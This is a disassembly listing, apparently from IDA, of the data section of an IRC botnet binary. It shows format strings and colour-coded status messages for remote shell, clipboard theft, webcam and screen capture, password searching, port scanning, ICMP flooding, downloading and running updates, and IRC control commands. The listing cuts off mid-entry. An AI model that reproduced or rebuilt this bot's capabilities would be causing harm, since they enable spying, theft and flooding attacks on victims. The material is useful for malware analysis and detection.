dword_42FCDC dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_42FCE0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_42FD08 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42FD50 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_42FD78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_42FDA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_42FDC8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_42FDF0 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 10h dword_42FE40 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_42FE78 db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_42FEAC db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_42FEDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_42FF04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42FF34 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_42FF6C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42FFA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_42FFE4 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h dword_430020 dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h ; DATA XREF: sub_40EE72+56EDo dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h, 65686361h dd 756C6620h, 64656873h dword_430050 dd 2Eh ; DATA XREF: ___:00427B70o dword_430054 dd 7A026E02h, 201F6D1Fh ; DATA XREF: sub_40EE72:loc_41454Fo unk_43005C db 28h ; ( ; DATA XREF: ___:off_427A0Co db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_430090 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_4300CC db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h dword_430100 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 4 dword_43014C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_430198 db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_4301E0 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_430228 db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_430254 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_4302A0 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_4302D8 db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 4 unk_43031C db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_430394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_4303C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_4303F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_430428 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_430450 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_43048C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 10h dword_4304C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_4304F8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o ; sub_40EE72:loc_414B4Co align 4 dword_430544 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_430578 db 3 ; DATA XREF: sub_40EE72:loc_413AC5o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 4 unk_4305BC db 3 ; DATA XREF: sub_40EE72+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_4305F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_43062C dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A4Fo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_430664 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_430690 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_4306D0 db 2 ; DATA XREF: sub_40EE72+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_430704 db 2 ; DATA XREF: sub_40EE72:loc_413990o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_430748 db 2 ; DATA XREF: sub_40EE72+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 10h dword_430780 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_4307AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 10h dword_4307E0 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_430804 db 2 ; DATA XREF: sub_40EE72+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_430850 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_430878 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413745o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4308A4 db 2 ; DATA XREF: sub_40EE72+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4308D0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_4308F8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_430934 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_430964 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_430998 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413639o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_4309E4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41362Fo dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_430A34 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o align 4 dword_430A78 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Do dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_430AC0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413586o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_430B04 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo align 4 dword_430B48 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_430B7C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o dword_430BB8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413450o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_430C00 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413449o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_430C3C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o align 10h dword_430C80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_430CA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_430CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_430D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_430D48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_430D74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_430DA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_430DC4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o ; sub_40EE72+4E78o dword_430DD0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo align 4 dword_430E08 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_430E34 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_430E60 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo dword_430E68 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_430E94 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o ; sub_40EE72+4CADo dword_430E9C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao dword_430EA8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o dword_430EB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F8Fo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_430EF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o align 4 dword_430F24 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBCo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_430F48 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao ; sub_40EE72+40BDo ... unk_430F58 db 2 ; DATA XREF: sub_40EE72:loc_412E29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_430FAC db 2 ; DATA XREF: sub_40EE72+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_430FF8 db 2 ; DATA XREF: sub_40EE72+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o align 10h dword_431040 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_431068 db 2 ; DATA XREF: sub_40EE72+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_43109C db 2 ; DATA XREF: sub_40EE72+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4310E8 db 2 ; DATA XREF: sub_40EE72+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_431128 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AF9o ; sub_40EE72:loc_413962o dd 0BBBB0220h, 2002h unk_431144 db 2 ; DATA XREF: sub_40EE72+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_431178 db 2 ; DATA XREF: sub_40EE72:loc_412ABFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_4311C0 db 2 ; DATA XREF: sub_40EE72+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431208 db 2 ; DATA XREF: sub_40EE72+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_431244 db 2 ; DATA XREF: sub_40EE72+3B4Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 